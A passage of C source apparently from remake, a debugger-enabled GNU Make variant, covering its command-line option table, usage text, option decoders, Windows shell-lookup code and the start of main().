--debugger-stop=error. */\nint post_mortem_flag = 0;\n\n/*! Nonzero means use GNU readline in the debugger. */\nint use_readline_flag =\n#ifdef HAVE_LIBREADLINE\n    1\n#else\n    0\n#endif\n    ;\n\n/*! If nonzero, the basename of filenames is in giving locations. Normally,\n    giving a file directory location helps a debugger frontend\n    when we change directories. For regression tests it is helpful to\n    list just the basename part as that doesn't change from installation\n    to installation. Users may have their preferences too.\n*/\nint basename_filenames = 0;\n\n/* Synchronize output (--output-sync).  */\n\nchar *output_sync_option = 0;\n\n/* Specify profile output formatting (--profile) */\n\nchar *profile_option = 0;\n\n/* Specify the output directory for profiling information */\n\nstatic struct stringlist *profile_dir_opt = 0;\n\n/* Output level (--verbosity).  */\n\nstatic struct stringlist *verbosity_opts;\n\n/* Environment variables override makefile definitions.  */\n\n/* Nonzero means keep going even if remaking some file fails (-k).  */\n\nint keep_going_flag;\nstatic const int default_keep_going_flag = 0;\n\n/*! Nonzero gives a list of explicit target names that have commands\n   AND comments associated with them and exits. Set by option --task-comments\n */\n\nint show_task_comments_flag = 0;\n\n/* Nonzero means ignore print_directory and never print the directory.\n   This is necessary because print_directory is set implicitly.  */\n\nint inhibit_print_directory = 0;\n\n/* List of makefiles given with -f switches.  */\n\nstatic struct stringlist *makefiles = 0;\n\n/* Size of the stack when we started.  */\n\n#ifdef SET_STACK_SIZE\nstruct rlimit stack_limit;\n#endif\n\n\n/* Number of job slots for parallelism.  */\n\nunsigned int job_slots;\n\n#define INVALID_JOB_SLOTS (-1)\nstatic unsigned int master_job_slots = 0;\nstatic int arg_job_slots = INVALID_JOB_SLOTS;\n\nstatic const int default_job_slots = INVALID_JOB_SLOTS;\n\n/* Value of job_slots that means no limit.  */\n\nstatic const int inf_jobs = 0;\n\n/* Authorization for the jobserver.  */\n\nstatic char *jobserver_auth = NULL;\n\n/* Handle for the mutex used on Windows to synchronize output of our\n   children under -O.  */\n\nchar *sync_mutex = NULL;\n\n/* Maximum load average at which multiple jobs will be run.\n   Negative values mean unlimited, while zero means limit to\n   zero load (which could be useful to start infinite jobs remotely\n   but one at a time locally).  */\ndouble max_load_average = -1.0;\ndouble default_load_average = -1.0;\n\n/* List of directories given with -C switches.  */\n\nstatic struct stringlist *directories = 0;\n\n/* List of include directories given with -I switches.  */\n\nstatic struct stringlist *include_directories = 0;\n\n/* List of files given with -o switches.  */\n\nstatic struct stringlist *old_files = 0;\n\n/* List of files given with -W switches.  */\n\nstatic struct stringlist *new_files = 0;\n\n/* List of strings to be eval'd.  */\nstatic struct stringlist *eval_strings = 0;\n\n/* If nonzero, we should just print usage and exit.  */\n\nstatic int print_usage_flag = 0;\n\n/*! Do we want to go into a debugger or not?\n  Values are \"error\"     - enter on errors or fatal errors\n              \"fatal\"     - enter on fatal errors\n              \"goal\"      - set to enter debugger before updating goal\n              \"preread\"   - set to enter debugger before reading makefile(s)\n              \"preaction\" - set to enter debugger before performing any\n                            actions(s)\n              \"full\"     - \"enter\" + \"error\" + \"fatal\"\n*/\nstatic stringlist_t* debugger_opts = NULL;\n\n/* If nonzero, always build all targets, regardless of whether\n   they appear out of date or not.  */\nstatic int always_make_set = 0;\nint always_make_flag = 0;\n\n/* If nonzero, we're in the \"try to rebuild makefiles\" phase.  */\n\nint rebuilding_makefiles = 0;\n\n\f\n/* The usage output.  We write it this way to make life easier for the\n   translators, especially those trying to translate to right-to-left\n   languages like Hebrew.  */\n\nstatic const char *const usage[] =\n  {\n    N_(\"Options:\\n\"),\n    N_(\"\\\n  -b, -m                      Ignored for compatibility.\\n\"),\n    N_(\"\\\n  -B, --always-make           Unconditionally make all targets.\\n\"),\n    N_(\"\\\n  -c, --search-parent         Search parent directories for Makefile.\\n\"),\n    N_(\"\\\n  -C DIRECTORY, --directory=DIRECTORY\\n\\\n                              Change to DIRECTORY before doing anything.\\n\"),\n    N_(\"\\\n  -d                          Print lots of debugging information.\\n\"),\n    N_(\"\\\n  --debug[=FLAGS]             Print various types of debugging information.\\n\"),\n    N_(\"\\\n  -e, --environment-overrides\\n\\\n                              Environment variables override makefiles.\\n\"),\n    N_(\"\\\n  -E STRING, --eval=STRING    Evaluate STRING as a makefile statement.\\n\"),\n    N_(\"\\\n  -f FILE, --file=FILE, --makefile=FILE\\n\\\n                              Read FILE as a makefile.\\n\"),\n    N_(\"\\\n  -h, --help                  Print this message and exit.\\n\"),\n    N_(\"\\\n  -i, --ignore-errors         Ignore errors from recipes.\\n\"),\n    N_(\"\\\n  -I DIRECTORY, --include-dir=DIRECTORY\\n\\\n                              Search DIRECTORY for included makefiles.\\n\"),\n    N_(\"\\\n  -j [N], --jobs[=N]          Allow N jobs at once; infinite jobs with no arg.\\n\"),\n    N_(\"\\\n  -k, --keep-going            Keep going when some targets can't be made.\\n\"),\n    N_(\"\\\n  -l [N], --load-average[=N], --max-load[=N]\\n\\\n                              Don't start multiple jobs unless load is below N.\\n\"),\n    N_(\"\\\n  -L, --check-symlink-times   Use the latest mtime between symlinks and target.\\n\"),\n    N_(\"\\\n  --no-extended-errors        Do not give additional error reporting.\\n\"),\n    N_(\"\\\n  -n, --just-print, --dry-run, --recon\\n\\\n                              Don't actually run any recipe; just print them.\\n\"),\n    N_(\"\\\n  -o FILE, --old-file=FILE, --assume-old=FILE\\n\\\n                              Consider FILE to be very old and don't remake it.\\n\"),\n    N_(\"\\\n  -O[TYPE], --output-sync[=TYPE]\\n\\\n                              Synchronize output of parallel jobs by TYPE.\\n\"),\n    N_(\"\\\n  -p, --print-data-base       Print make's internal database.\\n\"),\n    N_(\"\\\n  -P, --profile[=FORMAT]      Print profiling information for each target using FORMAT.\\n\\\n                              If FORMAT isn't specified, default to \\\"callgrind\\\"\\n\"),\n    N_(\"\\\n  --profile-directory=DIR     Output profiling data to the DIR directory.\\n\"),\n    N_(\"\\\n  -q, --question              Run no recipe; exit status says if up to date.\\n\"),\n    N_(\"\\\n  -r, --no-builtin-rules      Disable the built-in implicit rules.\\n\"),\n    N_(\"\\\n  -R, --no-builtin-variables  Disable the built-in variable settings.\\n\"),\n    N_(\"\\\n  -s, --silent, --quiet       Don't echo recipes.\\n\"),\n    N_(\"\\\n  --no-silent                 Echo recipes (disable --silent mode).\\n\"),\n    N_(\"\\\n  -S, --no-keep-going, --stop\\n\\\n                              Turns off -k.\\n\"),\n    N_(\"\\\n  --targets                   Give list of explicitly-named targets.\\n\"),\n    N_(\"\\\n  --tasks                     Give list of targets which have descriptions\\n\\\n                              associated with them.\\n\"),\n    N_(\"\\\n  -t, --touch                 Touch targets instead of remaking them.\\n\"),\n    N_(\"\\\n  -v, --version               Print the version number of make and exit.\\n\"),\n    N_(\"\\\n  --verbosity=LEVEL           Set verbosity level. LEVEL may be \\\"terse\\\" \\\"no-header\\\" or\\n\\\n                              \\\"full\\\". The default is \\\"full\\\".\\n\"),\n    N_(\"\\\n  -w, --print-directory       Print the current directory.\\n\"),\n    N_(\"\\\n  --no-print-directory        Turn off -w, even if it was turned on implicitly.\\n\"),\n    N_(\"\\\n  -W FILE, --what-if=FILE, --new-file=FILE, --assume-new=FILE\\n\\\n                              Consider FILE to be infinitely new.\\n\"),\n    N_(\"\\\n  --warn-undefined-variables  Warn when an undefined variable is referenced.\\n\"),\n    N_(\"\\\n  -x, --trace[=TYPE]          Trace command execution TYPE may be\\n\\\n                              \\\"command\\\", \\\"read\\\", \\\"normal\\\".\\\"\\n\\\n                              \\\"noshell\\\", or \\\"full\\\". Default is \\\"normal\\\"\\n\"),\n    N_(\"\\\n  --debugger-stop[=TYPE]      Which point to enter debugger. TYPE may be\\n\\\n                              \\\"goal\\\", \\\"preread\\\", \\\"preaction\\\",\\n\\\n                              \\\"full\\\", \\\"error\\\", or \\\"fatal\\\".\\n\\\n                              Only makes sense with -X set.\\n\"),\n    N_(\"\\\n  -v, --version               Print the version number of make and exit.\\n\"),\n    N_(\"\\\n  -X, --debugger              Enter debugger.\\n\"),\n    N_(\"\\\n  -!, --post-mortem           Go into debugger on error.\\n\\\n                              Same as --debugger --debugger-stop=error\\n\"),\n    N_(\"\\\n  --no-readline               Do not use GNU ReadLine in debugger.\\n\"),\n    NULL\n  };\n\n/* The table of command switches.\n   Order matters here: this is the order MAKEFLAGS will be constructed.\n   So be sure all simple flags (single char, no argument) come first.  */\n\nstatic const struct command_switch switches[] =\n  {\n    { 'b', ignore, 0, 0, 0, 0, 0, 0, 0 },\n    { 'B', flag, &always_make_set,    1, 1, 0, 0, 0, \"always-make\" },\n    { 'c', flag, &search_parent_flag, 1, 1, 0, 0, 0, \"search-parent\" },\n    { 'd', flag, &debug_flag,         1, 1, 0, 0, 0, 0 },\n    { 'e', flag, &env_overrides,      1, 1, 0, 0, 0, \"environment-overrides\", },\n    { 'h', flag, &print_usage_flag,   0, 0, 0, 0, 0, \"help\" },\n    { 'i', flag, &ignore_errors_flag, 1, 1, 0, 0, 0, \"ignore-errors\" },\n    { 'k', flag, &keep_going_flag,    1, 1, 0, 0, &default_keep_going_flag,\n      \"keep-going\" },\n    { 'L', flag, &check_symlink_flag, 1, 1, 0, 0, 0, \"check-symlink-times\" },\n    { 'm', ignore, 0, 0, 0, 0, 0, 0, 0 },\n    { 'n', flag, &just_print_flag, 1, 1, 1, 0, 0, \"just-print\" },\n    { 'p', flag, &print_data_base_flag, 1, 1, 0, 0, 0, \"print-data-base\" },\n    { 'P', string, &profile_option, 1, 1, 0, \"callgrind\", 0, \"profile\" },\n    { 'q', flag, &question_flag, 1, 1, 1, 0, 0, \"question\" },\n    { 'r', flag, &no_builtin_rules_flag, 1, 1, 0, 0, 0, \"no-builtin-rules\" },\n    { 'R', flag, &no_builtin_variables_flag, 1, 1, 0, 0, 0,\n      \"no-builtin-variables\" },\n    { 's', flag, &silent_flag, 1, 1, 0, 0, &default_silent_flag, \"silent\" },\n    { 'S', flag_off, &keep_going_flag, 1, 1, 0, 0, &default_keep_going_flag,\n      \"no-keep-going\" },\n    { 't', flag, &touch_flag, 1, 1, 1, 0, 0, \"touch\" },\n    { 'v', flag, &print_version_flag, 1, 1, 0, 0, 0, \"version\" },\n    { 'w', flag, &print_directory, 1, 1, 0, 0, 0, \"print-directory\" },\n    { 'X', flag, &debugger_flag, 1, 1, 0, 0, 0, \"debugger\" },\n    { '!', flag, &post_mortem_flag, 1, 1, 0, 0, 0, \"post-mortem\" },\n\n    /* These options take arguments.  */\n    { 'C', filename, &directories, 0, 0, 0, 0, 0, \"directory\" },\n    { 'E', strlist, &eval_strings,    1, 0, 0, 0, 0, \"eval\" },\n    { 'f', filename, &makefiles, 0, 0, 0, 0, 0, \"file\" },\n    { 'I', filename, &include_directories, 1, 1, 0, 0, 0,\n      \"include-dir\" },\n    { 'j', positive_int, &arg_job_slots, 1, 1, 0, &inf_jobs, &default_job_slots,\n      \"jobs\" },\n    { 'l', floating, &max_load_average, 1, 1, 0, &default_load_average,\n      &default_load_average, \"load-average\" },\n    { 'o', filename, &old_files, 0, 0, 0, 0, 0, \"old-file\" },\n    { 'O', string, &output_sync_option, 1, 1, 0, \"target\", 0, \"output-sync\" },\n    { 'W', filename, &new_files, 0, 0, 0, 0, 0, \"what-if\" },\n    { 'x', strlist, &tracing_opts,  1, 1, 0, \"normal\",    0, \"trace\" },\n\n    /* These are long-style options.  */\n    { CHAR_MAX+1, strlist, &db_flags, 1, 1, 0, \"basic\", 0, \"debug\" },\n    { CHAR_MAX+2, string, &jobserver_auth, 1, 1, 0, 0, 0, \"jobserver-auth\" },\n    { CHAR_MAX+3,  flag, &show_tasks_flag, 0, 0, 0, 0, 0, \"tasks\" },\n    { CHAR_MAX+4, flag, &inhibit_print_directory, 1, 1, 0, 0, 0,\n      \"no-print-directory\" },\n    { CHAR_MAX+5, flag, &warn_undefined_variables_flag, 1, 1, 0, 0, 0,\n      \"warn-undefined-variables\" },\n    { CHAR_MAX+7, string, &sync_mutex, 1, 1, 0, 0, 0, \"sync-mutex\" },\n    { CHAR_MAX+8, flag_off, &silent_flag, 1, 1, 0, 0, &default_silent_flag, \"no-silent\" },\n    { CHAR_MAX+9, string, &jobserver_auth, 1, 0, 0, 0, 0, \"jobserver-fds\" },\n    { CHAR_MAX+10, strlist, &verbosity_opts, 1, 1, 0, 0, 0,\n      \"verbosity\" },\n    { CHAR_MAX+11, flag, (char *) &no_extended_errors, 1, 1, 0, 0, 0,\n        \"no-extended-errors\", },\n    { CHAR_MAX+12, flag_off, (char *) &use_readline_flag, 1, 0, 0, 0, 0,\n        \"no-readline\", },\n    { CHAR_MAX+13, flag,  &show_targets_flag, 0, 0, 0, 0, 0,\n      \"targets\" },\n    { CHAR_MAX+14, strlist, &debugger_opts, 1, 1, 0, \"preaction\", 0,\n      \"debugger-stop\" },\n    { CHAR_MAX+15, filename, &profile_dir_opt, 1, 1, 0, 0, 0, \"profile-directory\" },\n    { 0, 0, 0, 0, 0, 0, 0, 0, 0 }\n  };\n\n/* Secondary long names for options.  */\n\nstatic struct option long_option_aliases[] =\n  {\n    { \"quiet\",          no_argument,            0, 's' },\n    { \"stop\",           no_argument,            0, 'S' },\n    { \"new-file\",       required_argument,      0, 'W' },\n    { \"assume-new\",     required_argument,      0, 'W' },\n    { \"assume-old\",     required_argument,      0, 'o' },\n    { \"max-load\",       optional_argument,      0, 'l' },\n    { \"dry-run\",        no_argument,            0, 'n' },\n    { \"recon\",          no_argument,            0, 'n' },\n    { \"makefile\",       required_argument,      0, 'f' },\n  };\n\n/* List of goal targets.  */\n\nstatic struct goaldep *goals, *lastgoal;\n\n/* List of variables which were defined on the command line\n   (or, equivalently, in MAKEFLAGS).  */\n\nstruct command_variable\n  {\n    struct command_variable *next;\n    struct variable *variable;\n  };\nstatic struct command_variable *command_variables;\n\n/*! Value of argv[0] which seems to get modified. Can we merge this with\n    program below? */\nchar *argv0 = NULL;\n\n/*! The name we were invoked with.  */\n\n/*! Our initial arguments -- used for debugger restart execvp.  */\nconst char * const*global_argv;\n\n/*! Our current directory before processing any -C options.  */\nchar *directory_before_chdir = NULL;\n\n/*! Pointer to the value of the .DEFAULT_GOAL special variable.\n  The value will be the name of the goal to remake if the command line\n  does not override it.  It can be set by the makefile, or else it's\n  the first target defined in the makefile whose name does not start\n  with '.'.  */\nstruct variable * default_goal_var;\n\n/*! Pointer to structure for the file .DEFAULT\n   whose commands are used for any file that has none of its own.\n   This is zero if the makefiles do not define .DEFAULT.  */\nstruct file *default_file;\n\n/* Nonzero if we have seen the '.SECONDEXPANSION' target.\n   This turns on secondary expansion of prerequisites.  */\n\nint second_expansion;\n\n/* Nonzero if we have seen the '.ONESHELL' target.\n   This causes the entire recipe to be handed to SHELL\n   as a single string, potentially containing newlines.  */\n\nint one_shell;\n\n/* Nonzero if we have seen the '.NOTPARALLEL' target.\n   This turns off parallel builds for this invocation of make.  */\n\nint not_parallel;\n\n/* Nonzero if some rule detected clock skew; we keep track so (a) we only\n   print one warning about it during the run, and (b) we can print a final\n   warning at the end of the run. */\n\nint clock_skew_detected;\n\n/* If output-sync is enabled we'll collect all the output generated due to\n   options, while reading makefiles, etc.  */\n\nstruct output make_sync;\n\n\f\n/* Mask of signals that are being caught with fatal_error_signal.  */\n\n#if defined(POSIX)\nsigset_t fatal_signal_set;\n#elif defined(HAVE_SIGSETMASK)\nint fatal_signal_mask;\n#endif\n\n#if !HAVE_DECL_BSD_SIGNAL && !defined bsd_signal\n# if !defined HAVE_SIGACTION\n#  define bsd_signal signal\n# else\ntypedef RETSIGTYPE (*bsd_signal_ret_t) (int);\n\nstatic bsd_signal_ret_t\nbsd_signal (int sig, bsd_signal_ret_t func)\n{\n  struct sigaction act, oact;\n  act.sa_handler = func;\n  act.sa_flags = SA_RESTART;\n  sigemptyset (&act.sa_mask);\n  sigaddset (&act.sa_mask, sig);\n  if (sigaction (sig, &act, &oact) != 0)\n    return SIG_ERR;\n  return oact.sa_handler;\n}\n# endif\n#endif\n\nvoid\ndecode_trace_flags (stringlist_t *ppsz_tracing_opts)\n{\n  if (ppsz_tracing_opts) {\n    const char **p;\n    db_level |= (DB_TRACE | DB_SHELL);\n    if (!ppsz_tracing_opts->list)\n      db_level |= (DB_BASIC);\n    else\n      for (p = ppsz_tracing_opts->list; *p != 0; ++p) {\n        if (0 == strcmp(*p, \"command\"))\n          ;\n        else if (0 == strcmp(*p, \"full\"))\n          db_level |= (DB_VERBOSE|DB_READ_MAKEFILES);\n        else if (0 == strcmp(*p, \"normal\"))\n          db_level |= DB_BASIC;\n        else if (0 == strcmp(*p, \"noshell\"))\n          db_level = DB_BASIC | DB_TRACE;\n        else if (0 == strcmp(*p, \"read\"))\n          db_level |= DB_READ_MAKEFILES;\n        else\n          OS ( fatal, NILF, _(\"unknown trace command execution type `%s'\"), *p);\n      }\n  }\n}\n\nvoid\ndecode_verbosity_flags (stringlist_t *ppsz_verbosity_opts)\n{\n  if (ppsz_verbosity_opts) {\n    const char **p;\n    if (ppsz_verbosity_opts->list)\n      for (p = ppsz_verbosity_opts->list; *p != 0; ++p) {\n        if (0 == strcmp(*p, \"no-header\"))\n          b_show_version = false;\n        else if (0 == strcmp(*p, \"full\")) {\n          db_level |= (DB_VERBOSE);\n\t  b_show_version = true;\n\t} else if (0 == strcmp(*p, \"terse\")) {\n\t  db_level &= (~DB_VERBOSE);\n\t  b_show_version = false;\n\t}\n      }\n  }\n}\n\nstatic void\ninitialize_global_hash_tables (void)\n{\n  init_hash_global_variable_set ();\n  strcache_init ();\n  init_hash_files ();\n  hash_init_directories ();\n  hash_init_function_table ();\n}\n\n/* This character map locate stop chars when parsing GNU makefiles.\n   Each element is true if we should stop parsing on that character.  */\n\nstatic const char *\nexpand_command_line_file (const char *name)\n{\n  const char *cp;\n  char *expanded = 0;\n\n  if (name[0] == '\\0')\n    O (fatal, NILF, _(\"empty string invalid as file name\"));\n\n  if (name[0] == '~')\n    {\n      expanded = remake_tilde_expand (name);\n      if (expanded && expanded[0] != '\\0')\n        name = expanded;\n    }\n\n  /* This is also done in parse_file_seq, so this is redundant\n     for names read from makefiles.  It is here for names passed\n     on the command line.  */\n  while (name[0] == '.' && name[1] == '/')\n    {\n      name += 2;\n      while (name[0] == '/')\n        /* Skip following slashes: \".//foo\" is \"foo\", not \"/foo\".  */\n        ++name;\n    }\n\n  if (name[0] == '\\0')\n    {\n      /* Nothing else but one or more \"./\", maybe plus slashes!  */\n      name = \"./\";\n    }\n\n  cp = strcache_add (name);\n\n  free (expanded);\n\n  return cp;\n}\n\n/* Toggle -d on receipt of SIGUSR1.  */\n\n#ifdef SIGUSR1\nstatic RETSIGTYPE\ndebug_signal_handler (int sig UNUSED)\n{\n  db_level = db_level ? DB_NONE : DB_BASIC;\n}\n#endif\n\nstatic void\ndecode_debug_flags (void)\n{\n  const char **pp;\n\n  if (debug_flag)\n    db_level = DB_ALL;\n\n  if (db_flags)\n    for (pp=db_flags->list; *pp; ++pp)\n      {\n        const char *p = *pp;\n\n        while (1)\n          {\n            switch (tolower (p[0]))\n              {\n              case 'a':\n                db_level |= DB_ALL;\n                break;\n              case 'b':\n                db_level |= DB_BASIC;\n                break;\n              case 'i':\n                db_level |= DB_BASIC | DB_IMPLICIT;\n                break;\n              case 'j':\n                db_level |= DB_JOBS;\n                break;\n              case 'm':\n                db_level |= DB_BASIC | DB_MAKEFILES;\n                break;\n              case 'n':\n                db_level = 0;\n                break;\n              case 'v':\n                db_level |= DB_BASIC | DB_VERBOSE;\n                break;\n              default:\n                OS (fatal, NILF,\n                    _(\"unknown debug level specification '%s'\"), p);\n              }\n\n            while (*(++p) != '\\0')\n              if (*p == ',' || *p == ' ')\n                {\n                  ++p;\n                  break;\n                }\n\n            if (*p == '\\0')\n              break;\n          }\n      }\n\n  if (db_level)\n    verify_flag = 1;\n\n  if (! db_level)\n    debug_flag = 0;\n}\n\nstatic void\ndecode_output_sync_flags (void)\n{\n#ifdef NO_OUTPUT_SYNC\n  output_sync = OUTPUT_SYNC_NONE;\n#else\n  if (output_sync_option)\n    {\n      if (streq (output_sync_option, \"none\"))\n        output_sync = OUTPUT_SYNC_NONE;\n      else if (streq (output_sync_option, \"line\"))\n        output_sync = OUTPUT_SYNC_LINE;\n      else if (streq (output_sync_option, \"target\"))\n        output_sync = OUTPUT_SYNC_TARGET;\n      else if (streq (output_sync_option, \"recurse\"))\n        output_sync = OUTPUT_SYNC_RECURSE;\n      else\n        OS (fatal, NILF,\n            _(\"unknown output-sync type '%s'\"), output_sync_option);\n    }\n\n  if (sync_mutex)\n    RECORD_SYNC_MUTEX (sync_mutex);\n#endif\n}\n\nvoid\ndecode_profile_options(void)\n{\n  if (profile_option)\n  {\n    if (streq (profile_option, \"callgrind\"))\n      profile_flag = PROFILE_CALLGRIND;\n    else if (streq (profile_option, \"json\"))\n      profile_flag = PROFILE_JSON;\n    else\n      profile_flag = PROFILE_DISABLED;\n  }\n  else\n  {\n    profile_flag = PROFILE_DISABLED;\n  }\n\n  if (profile_dir_opt == NULL)\n  {\n    profile_directory = starting_directory;\n  }\n  else\n  {\n    const char *dir = profile_dir_opt->list[profile_dir_opt->idx - 1];\n    if (dir[0] != '/') {\n      char directory[GET_PATH_MAX];\n      sprintf(directory, \"%s/%s\", starting_directory, dir);\n      profile_dir_opt->list[profile_dir_opt->idx - 1] = strcache_add(directory);\n    }\n    profile_directory = profile_dir_opt->list[profile_dir_opt->idx - 1];\n  }\n}\n\n#ifdef WINDOWS32\n\n#ifndef NO_OUTPUT_SYNC\n\n/* This is called from start_job_command when it detects that\n   output_sync option is in effect.  The handle to the synchronization\n   mutex is passed, as a string, to sub-makes via the --sync-mutex\n   command-line argument.  */\nvoid\nprepare_mutex_handle_string (sync_handle_t handle)\n{\n  if (!sync_mutex)\n    {\n      /* Prepare the mutex handle string for our children.  */\n      /* 2 hex digits per byte + 2 characters for \"0x\" + null.  */\n      sync_mutex = xmalloc ((2 * sizeof (sync_handle_t)) + 2 + 1);\n      sprintf (sync_mutex, \"0x%Ix\", handle);\n      define_makeflags (1, 0);\n    }\n}\n\n#endif  /* NO_OUTPUT_SYNC */\n\n/*\n * HANDLE runtime exceptions by avoiding a requestor on the GUI. Capture\n * exception and print it to stderr instead.\n *\n * If ! DB_VERBOSE, just print a simple message and exit.\n * If DB_VERBOSE, print a more verbose message.\n * If compiled for DEBUG, let exception pass through to GUI so that\n *   debuggers can attach.\n */\nLONG WINAPI\nhandle_runtime_exceptions (struct _EXCEPTION_POINTERS *exinfo)\n{\n  PEXCEPTION_RECORD exrec = exinfo->ExceptionRecord;\n  LPSTR cmdline = GetCommandLine ();\n  LPSTR prg = strtok (cmdline, \" \");\n  CHAR errmsg[1024];\n#ifdef USE_EVENT_LOG\n  HANDLE hEventSource;\n  LPTSTR lpszStrings[1];\n#endif\n\n  if (! ISDB (DB_VERBOSE))\n    {\n      sprintf (errmsg,\n               _(\"%s: Interrupt/Exception caught (code = 0x%lx, addr = 0x%p)\\n\"),\n               prg, exrec->ExceptionCode, exrec->ExceptionAddress);\n      fprintf (stderr, errmsg);\n      exit (255);\n    }\n\n  sprintf (errmsg,\n           _(\"\\nUnhandled exception filter called from program %s\\nExceptionCode = %lx\\nExceptionFlags = %lx\\nExceptionAddress = 0x%p\\n\"),\n           prg, exrec->ExceptionCode, exrec->ExceptionFlags,\n           exrec->ExceptionAddress);\n\n  if (exrec->ExceptionCode == EXCEPTION_ACCESS_VIOLATION\n      && exrec->NumberParameters >= 2)\n    sprintf (&errmsg[strlen(errmsg)],\n             (exrec->ExceptionInformation[0]\n              ? _(\"Access violation: write operation at address 0x%p\\n\")\n              : _(\"Access violation: read operation at address 0x%p\\n\")),\n             (PVOID)exrec->ExceptionInformation[1]);\n\n  /* turn this on if we want to put stuff in the event log too */\n#ifdef USE_EVENT_LOG\n  hEventSource = RegisterEventSource (NULL, \"GNU Make\");\n  lpszStrings[0] = errmsg;\n\n  if (hEventSource != NULL)\n    {\n      ReportEvent (hEventSource,         /* handle of event source */\n                   EVENTLOG_ERROR_TYPE,  /* event type */\n                   0,                    /* event category */\n                   0,                    /* event ID */\n                   NULL,                 /* current user's SID */\n                   1,                    /* strings in lpszStrings */\n                   0,                    /* no bytes of raw data */\n                   lpszStrings,          /* array of error strings */\n                   NULL);                /* no raw data */\n\n      (VOID) DeregisterEventSource (hEventSource);\n    }\n#endif\n\n  /* Write the error to stderr too */\n  fprintf (stderr, errmsg);\n\n#ifdef DEBUG\n  return EXCEPTION_CONTINUE_SEARCH;\n#else\n  exit (255);\n  return (255); /* not reached */\n#endif\n}\n\n/*\n * On WIN32 systems we don't have the luxury of a /bin directory that\n * is mapped globally to every drive mounted to the system. Since make could\n * be invoked from any drive, and we don't want to propagate /bin/sh\n * to every single drive. Allow ourselves a chance to search for\n * a value for default shell here (if the default path does not exist).\n */\n\nint\nfind_and_set_default_shell (const char *token)\n{\n  int sh_found = 0;\n  char *atoken = 0;\n  const char *search_token;\n  const char *tokend;\n  PATH_VAR(sh_path);\n  extern const char *default_shell;\n\n  if (!token)\n    search_token = default_shell;\n  else\n    search_token = atoken = xstrdup (token);\n\n  /* If the user explicitly requests the DOS cmd shell, obey that request.\n     However, make sure that's what they really want by requiring the value\n     of SHELL either equal, or have a final path element of, \"cmd\" or\n     \"cmd.exe\" case-insensitive.  */\n  tokend = search_token + strlen (search_token) - 3;\n  if (((tokend == search_token\n        || (tokend > search_token\n            && (tokend[-1] == '/' || tokend[-1] == '\\\\')))\n       && !strcasecmp (tokend, \"cmd\"))\n      || ((tokend - 4 == search_token\n           || (tokend - 4 > search_token\n               && (tokend[-5] == '/' || tokend[-5] == '\\\\')))\n          && !strcasecmp (tokend - 4, \"cmd.exe\")))\n    {\n      batch_mode_shell = 1;\n      unixy_shell = 0;\n      sprintf (sh_path, \"%s\", search_token);\n      default_shell = xstrdup (w32ify (sh_path, 0));\n      DB (DB_VERBOSE, (_(\"find_and_set_shell() setting default_shell = %s\\n\"),\n                       default_shell));\n      sh_found = 1;\n    }\n  else if (!no_default_sh_exe\n           && (token == NULL || !strcmp (search_token, default_shell)))\n    {\n      /* no new information, path already set or known */\n      sh_found = 1;\n    }\n  else if (_access (search_token, 0) == 0)\n    {\n      /* search token path was found */\n      sprintf (sh_path, \"%s\", search_token);\n      default_shell = xstrdup (w32ify (sh_path, 0));\n      DB (DB_VERBOSE, (_(\"find_and_set_shell() setting default_shell = %s\\n\"),\n                       default_shell));\n      sh_found = 1;\n    }\n  else\n    {\n      char *p;\n      struct variable *v = lookup_variable (STRING_SIZE_TUPLE (\"PATH\"));\n\n      /* Search Path for shell */\n      if (v && v->value)\n        {\n          char *ep;\n\n          p  = v->value;\n          ep = strchr (p, PATH_SEPARATOR_CHAR);\n\n          while (ep && *ep)\n            {\n              *ep = '\\0';\n\n              sprintf (sh_path, \"%s/%s\", p, search_token);\n              if (_access (sh_path, 0) == 0)\n                {\n                  default_shell = xstrdup (w32ify (sh_path, 0));\n                  sh_found = 1;\n                  *ep = PATH_SEPARATOR_CHAR;\n\n                  /* terminate loop */\n                  p += strlen (p);\n                }\n              else\n                {\n                  *ep = PATH_SEPARATOR_CHAR;\n                  p = ++ep;\n                }\n\n              ep = strchr (p, PATH_SEPARATOR_CHAR);\n            }\n\n          /* be sure to check last element of Path */\n          if (p && *p)\n            {\n              sprintf (sh_path, \"%s/%s\", p, search_token);\n              if (_access (sh_path, 0) == 0)\n                {\n                  default_shell = xstrdup (w32ify (sh_path, 0));\n                  sh_found = 1;\n                }\n            }\n\n          if (sh_found)\n            DB (DB_VERBOSE,\n                (_(\"find_and_set_shell() path search set default_shell = %s\\n\"),\n                 default_shell));\n        }\n    }\n\n  /* naive test */\n  if (!unixy_shell && sh_found\n      && (strstr (default_shell, \"sh\") || strstr (default_shell, \"SH\")))\n    {\n      unixy_shell = 1;\n      batch_mode_shell = 0;\n    }\n\n#ifdef BATCH_MODE_ONLY_SHELL\n  batch_mode_shell = 1;\n#endif\n\n  free (atoken);\n\n  return (sh_found);\n}\n#endif  /* WINDOWS32 */\n\n#ifdef __MSDOS__\nstatic void\nmsdos_return_to_initial_directory (void)\n{\n  if (directory_before_chdir)\n    chdir (directory_before_chdir);\n}\n#endif  /* __MSDOS__ */\n\nstatic void\nreset_jobserver (void)\n{\n  jobserver_clear ();\n  free (jobserver_auth);\n  jobserver_auth = NULL;\n}\n\nint\nmain (int argc, const char **argv, char **envp)\n{\n  static char *stdin_nm = 0;\n  int makefile_status = MAKE_SUCCESS;\n  PATH_VAR (current_directory);\n  unsigned int restarts = 0;\n  unsigned int syncing = 0;\n  int argv_slots;\n#ifdef WINDOWS32\n  const char *unix_path = NULL;\n  const char *windows32_path = NULL;\n\n  SetUnhandledExceptionFilter (handle_runtime_exceptions);\n\n  /* start off assuming we have no shell */\n  unixy_shell = 0;\n  no_default_sh_exe = 1;\n#endif\n\n  /* Useful for attaching debuggers, etc.  */\n#ifdef SPIN\n  SPIN (\"main-entry\");\n#endif\n\n  argv0 = strdup(argv[0]);\n  output_init (&make_sync);\n\n  initialize_stopchar_map();\n\n#ifdef SET_STACK_SIZE\n /* Get rid of any avoidable limit on stack size.  */\n  {\n    struct rlimit rlim;\n\n    /* Set the stack limit huge so that alloca does not fail.  */\n    if (getrlimit (RLIMIT_STACK, &rlim) == 0\n        && rlim.rlim_cur > 0 && rlim.rlim_cur < rlim.rlim_max)\n      {\n        stack_limit = rlim;\n        rlim.rlim_cur = rlim.rlim_max;\n        setrlimit (RLIMIT_STACK, &rlim);\n      }\n    else\n      stack_limit.rlim_cur = 0;\n  }\n#endif\n\n  global_argv = argv;\n  /* Needed for OS/2 */\n  initialize_main (&argc, &argv);\n\n#ifdef MAKE_MAINTAINER_MODE\n  /* In maintainer mode we always enable verification.  */\n  verify_flag = 1;\n#endif\n\n#if defined 